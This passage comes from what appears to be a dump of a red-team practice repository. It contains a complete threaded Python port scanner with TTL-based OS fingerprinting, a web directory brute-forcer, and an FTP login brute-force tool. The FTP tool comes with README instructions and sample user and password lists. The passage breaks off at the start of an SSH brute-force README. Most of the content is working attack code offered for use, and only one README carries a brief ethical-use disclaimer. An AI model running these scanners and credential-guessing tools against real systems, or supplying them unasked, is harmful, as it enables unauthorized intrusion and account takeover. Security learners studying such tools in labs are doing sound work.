14 |
15 |
16 | # Define the port scanning function
17 | def port_scan(ip, port, open_ports):
18 | try:
19 | # Create a socket object
20 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21 | sock.settimeout(0.2) # Set connection timeout to 0.2 seconds
22 | sock.connect((ip, port)) # Attempt to connect to the specified IP and port
23 | open_ports.put(port) # If connection is successful, add the port number to the queue
24 | sock.close() # Close the connection
25 | except:
26 | pass # Ignore exceptions if connection fails
27 |
28 |
29 | # Analyze OS based on TTL
30 | def analyze_os(ip, port):
31 | try:
32 | # Send ICMP request packet, try to get a response
33 | ans = sr1(IP(dst=ip) / ICMP(id=RandShort()), timeout=1, retry=2, verbose=0)
34 |
35 | if ans: # If a response is received
36 | ttl = ans[IP].ttl # Get the TTL value from the response packet
37 |
38 | # Guess the OS type based on TTL value
39 | if ttl <= 64:
40 | os_guess = "Linux or Unix"
41 | elif ttl == 108:
42 | os_guess = "Window2000"
43 | elif ttl == 107:
44 | os_guess = "win NT"
45 | elif ttl == 127:
46 | os_guess = "win9x"
47 | elif ttl == 252:
48 | os_guess = "Solaris"
49 | elif ttl == 128:
50 | os_guess = "Windows"
51 | else:
52 | os_guess = "Unix"
53 |
54 | # Print the port, TTL value, and the guessed OS type
55 | print(f"{ip}, port open: {port}, TTL: {ttl}, OS: {os_guess}")
56 |
57 | except Exception as e:
58 | pass # Ignore exceptions
59 |
60 |
61 | # Scan all ports of the target IP
62 | def port_scan_all(ip):
63 | open_ports = Queue() # Create a queue to store open ports
64 |
65 | # Use ThreadPoolExecutor to create a thread pool with 50 threads
66 | with ThreadPoolExecutor(max_workers=50) as executor:
67 | # Submit all port scan tasks to the thread pool
68 | futures = [executor.submit(port_scan, ip, port, open_ports) for port in range(1, 65536)]
69 |
70 | # Wait for all threads to complete
71 | for future in as_completed(futures):
72 | pass
73 |
74 | open_port_list = [] # Convert the queue to a list
75 | while not open_ports.empty():
76 | open_port_list.append(open_ports.get())
77 |
78 | return open_port_list
79 |
80 |
81 | # Main function to perform OS detection and port scanning
82 | def main():
83 | if len(sys.argv) == 2: # If a target IP address is provided
84 | ip_target = sys.argv[1]
85 |
86 | # Perform port scan and get the list of open ports
87 | open_ports = port_scan_all(ip_target)
88 |
89 | # Analyze TTL for each open port to guess the OS
90 | for port in open_ports:
91 | analyze_os(ip_target, port)
92 |
93 | else: # If no target IP address is provided
94 | print("Correct usage: script, IP address target")
95 | sys.exit(0)
96 |
97 |
98 | # Execute the main function
99 | if __name__ == "__main__":
100 | main()
101 |
--------------------------------------------------------------------------------
/Projects/15_Recursive_Web_Directory_brute-forcer/README.md:
--------------------------------------------------------------------------------
1 | # Recursive Web Directory brute-forcer (Threaded peer recursion)
2 |
3 | This is a Recursive Web Directory brute-forcer (Threaded peer recursion) tool built using Python.
4 |
5 | ## :information_source: Technologies used
6 |
7 | * Python
8 |
9 | ## :information_source: How to use?
10 | ```bash
11 | # Clone the repository
12 | $ git clone https://github.com/kurogai/100-redteam-projects
13 |
14 | # Enter the repository
15 | $ cd 100-redteam-projects\Projects\15_Recursive_Web_Directory_brute-forcer
16 |
17 | # Open a terminal and run
18 | $ python3 RWDbf.py https://example.com wordlist.txt --threads 6
19 |
20 | ```
21 | ## Developer
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/Projects/15_Recursive_Web_Directory_brute-forcer/RWDbf.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import threading
3 | import argparse
4 | import sys
5 |
6 | # Global variables for thread synchronization
7 | checked_directories = 0
8 | total_directories = 0
9 | lock = threading.Lock()
10 |
11 | def explore_directories(base_url, directory_list, thread_id):
12 | global checked_directories
13 |
14 | for i in range(len(directory_list)):
15 | if i % num_threads == thread_id: # Distribute directories among threads
16 | directory = directory_list[i]
17 | url = f"{base_url}/{directory}"
18 | response = requests.get(url)
19 |
20 | with lock:
21 | checked_directories += 1
22 | sys.stdout.write(f"\033[KThread-{thread_id}: Currently checking {directory}. Total Checked: {checked_directories}/{total_directories}\r")
23 | sys.stdout.flush()
24 |
25 | if response.status_code == 200:
26 | print(f"Found directory: {url}")
27 |
28 | if __name__ == "__main__":
29 | parser = argparse.ArgumentParser(description='Directory brute-forcer with threading')
30 | parser.add_argument('url', type=str, help='Base URL')
31 | parser.add_argument('wordlist', type=str, help='Path to directory wordlist')
32 | parser.add_argument('--threads', type=int, default=4, help='Number of threads (default: 4)')
33 | args = parser.parse_args()
34 |
35 | base_url = args.url
36 | with open(args.wordlist) as file:
37 | directories = file.read().splitlines()
38 |
39 | total_directories = len(directories)
40 | num_threads = args.threads
41 |
42 | threads = []
43 | for i in range(num_threads):
44 | thread = threading.Thread(target=explore_directories, args=(base_url, directories, i))
45 | threads.append(thread)
46 | thread.start()
47 |
48 | for thread in threads:
49 | thread.join()
50 |
--------------------------------------------------------------------------------
/Projects/17_FTP_Login_bruteforce_tool/README.md:
--------------------------------------------------------------------------------
1 | # FTP Brute Forcer
2 |
3 | ## Overview
4 |
5 | This Python script is designed to perform brute-force attacks on FTP servers [for 100 Red Team Projects for Pentesters and Network Managers
6 | , number 17](https://github.com/kurogai/100-redteam-projects). It supports two main functionalities:
7 | 1. **Single User Brute Force**: Attempts to log in using a single username with a list of passwords.
8 | 2. **Multi User Brute Force**: Attempts to log in using a list of usernames with a list of passwords.
9 |
10 | Additionally, the script can generate all possible passwords of a given length using ASCII letters and digits.
11 |
12 | ## Features
13 |
14 | - **Brute Force for Single User**: Try all passwords for a given username.
15 | - **Brute Force for Multiple Users**: Try all combinations of usernames and passwords.
16 | - **Password Generation**: Generate all possible passwords of a specified length.
17 | - **Flexible Input**: Read usernames and passwords from files.
18 |
19 | ## Requirements
20 |
21 | - Python 3.x
22 | - `ftplib` (included with Python standard library)
23 | - `itertools` (included with Python standard library)
24 | - `string` (included with Python standard library)
25 |
26 | ## Installation
27 |
28 | No additional installation is required beyond Python itself.
29 |
30 | ## Usage
31 |
32 | 1. **Prepare Input Files**:
33 | - Create a file named `passwords.txt` with a list of passwords, one per line.
34 | - Create a file named `users.txt` with a list of usernames, one per line.
35 |
36 | 2. **Update Script Configuration**:
37 | - Edit the `server` variable in the `main()` function to specify the target FTP server.
38 | - Edit the `username` variable in the `main()` function if using the single user brute-force mode.
39 |
40 | 3. **Run the Script**:
41 | - Choose one of the following functions to call in the `main()` function:
42 | - `brute_force_ftp_single_user(server, username, password_list)`: Attempts to log in using the single username with passwords from `passwords.txt`.
43 | - `brute_force_ftp_multi_user(server, username_list, password_list)`: Attempts to log in using all usernames and passwords from `users.txt` and `passwords.txt`.
44 | - `brute_force_ftp_single_user(server, username, generate_all_passwords(length))`: Attempts to log in using the single username with all possible passwords of the specified length.
45 | - Uncomment the desired function call in the `main()` function and run the script.
46 |
47 |
48 | 3. **Run the Script**:
49 | ```
50 | python ftp_bruteforce.py
51 | ```
52 |
53 | ## Notes
54 |
55 | - **Ethical Use**: Ensure you have explicit permission to perform brute-force testing on the target FTP server. Unauthorized access is illegal and unethical.
56 | - **Performance**: Generating all possible passwords can be resource-intensive. Use with caution, especially for large character sets and lengths.
57 |
58 | ## License
59 |
60 | This script is provided for educational purposes only. Use it responsibly and within the bounds of the law.
61 |
--------------------------------------------------------------------------------
/Projects/17_FTP_Login_bruteforce_tool/ftp_bruteforce.py:
--------------------------------------------------------------------------------
1 | from ftplib import FTP
2 | from getpass import getpass
3 | import itertools
4 | import string
5 |
6 | def try_ftp_login(server, username, password):
7 | try:
8 | ftp = FTP(server)
9 | ftp.login(username, password)
10 | print(f"Success! Username: {username}, Password: {password}")
11 | ftp.quit()
12 | return True
13 | except Exception as e:
14 | print(f"Failed: Username: {username}, Password: {password}")
15 | return False
16 |
17 | def brute_force_ftp_single_user(server, username, password_list):
18 | for password in password_list:
19 | if try_ftp_login(server, username, password):
20 | return password
21 | print("Password not found.")
22 | return None
23 |
24 | def brute_force_ftp_multi_user(server, username_list, password_list):
25 | for user in username_list:
26 | for password in password_list:
27 | if try_ftp_login(server,user,password):
28 | return user, password
29 | print("Password not found.")
30 | return None
31 |
32 | def generate_all_passwords(length):
33 |
34 | if length <= 0:
35 | raise ValueError("Password length must be greater than 0")
36 |
37 | # Define the character set to use (ASCII letters, digits)
38 | characters = string.ascii_letters + string.digits
39 |
40 | password_list = []
41 |
42 | # Generate all possible combinations of the given length
43 | for combination in itertools.product(characters, repeat=length):
44 | password_list.append(''.join(combination))
45 |
46 | return password_list
47 |
48 | def main():
49 | server = 'ftp.example.com' # Replace with the target FTP server
50 | username = 'admin' # Replace with the target username
51 |
52 | with open('passwords.txt', 'r') as file:
53 | password_list = file.readlines()
54 |
55 | with open('users.txt', 'r') as file:
56 | username_list = file.readlines()
57 |
58 |
59 | #choose one of these
60 | #brute_force_ftp_single_user(server, username, password_list)
61 | #brute_force_ftp_multi_user(server,username_list,password_list)
62 | #brute_force_ftp_single_user(server,username,generate_all_passwords(3))
63 |
64 | if __name__ == "__main__":
65 | main()
66 |
--------------------------------------------------------------------------------
/Projects/17_FTP_Login_bruteforce_tool/passwords.txt:
--------------------------------------------------------------------------------
1 | password1
2 | password2
3 | password
4 | 1234
5 | 123456
6 | iloveyou
7 | email@example.com
--------------------------------------------------------------------------------
/Projects/17_FTP_Login_bruteforce_tool/users.txt:
--------------------------------------------------------------------------------
1 | admin
2 | test
3 | demo
--------------------------------------------------------------------------------
/Projects/18_SSH_Login_bruteforce_tool/MultiThread/README.md:
--------------------------------------------------------------------------------
1 |